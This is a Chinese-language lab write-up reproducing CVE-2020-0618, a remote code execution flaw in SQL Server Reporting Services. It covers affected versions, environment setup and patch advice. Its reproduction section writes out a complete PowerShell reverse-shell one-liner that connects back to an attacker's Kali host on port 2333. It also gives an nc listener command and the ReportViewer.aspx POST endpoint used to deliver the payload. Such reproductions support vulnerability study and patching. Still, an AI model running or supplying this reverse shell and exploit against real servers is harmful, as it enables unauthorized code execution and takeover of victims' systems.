漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS),是现在世界上广泛使用的数据库之一。
低权限的攻击者向有漏洞版本的SQL Server的Reporting Services实例发送精心构造的payload请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码,即可实现getshell。
参考:https://blog.csdn.net/weixin_45006525/article/details/116147471
影响版本
SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)
SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)
SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)
SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)
SQL Server 2014 Service Pack 3 for x64-based Systems (CU)
SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)
SQL Server 2016 for x64-based Systems Service Pack 1
SQL Server 2016 for x64-based Systems Service Pack 2 (CU)
SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)
FOFA语句
1 | 无 |
环境搭建
windows搭建
1 | 1、Windows Server 2016 Datacenter(https://msdn.itellyou.cn/) |
SQL Server 2016安装
- 虚拟机挂载sqlserver.iso镜像文件
- 双击安装程序;
- 安装选择第一个,向现有安装添加功能;
- 一路默认安装。
- 到“功能选择”的时候,选择“数据库引擎服务”和“Reporting Services本机”;
一路选择“下一步”。
用混合模式创建账号 账号sa,密码输入符合复杂度的即可。并且添加当前账户;
一路选择“下一步”,直到安装完成即可。
访问 http://localhost/ReportS/browse/,下图代表安装成功。
创建分页报表
- 访问:http://localhost/ReportS/browse/ 点击分页报表
- 安装报表服务器,点我下载,或者按如下页面点击下载;
- 打开报表服务。刷新页面,重新点击“分页报表”。点击浏览器的弹窗;
- 新建一个报表;
点击凭据,选择次用户名和密码,输入创建的用户名“sa”以及“密码”;
- 创建视图
- 访问创建的视图;
漏洞复现
生成payload:
在powershell中运行下面四条命令,运行完成后payload自动在剪切板中。粘贴到文档即可。
1 | $command = '$client = New-Object System.Net.Sockets.TCPClient("本人用kali(kali-ip)",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' |
将剪贴板的payload粘贴到文本中;
- kali监听相应端口
1 | nc -lvvp 2333 |
- 安装并启用postman,发送post包,具体步骤如下:
1 | # post请求地址:http://localhost/ReportServer/Pages/ReportViewer.aspx |
1 | # Body中填入键值对 |
- 点击发送;
- nc已经成功收到反连shell;
修复建议
目前微软官方已针对受支持的版本发布了修复该漏洞的安全补丁,请受影响的用户尽快安装补丁进行防护。
官方下载链接:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0618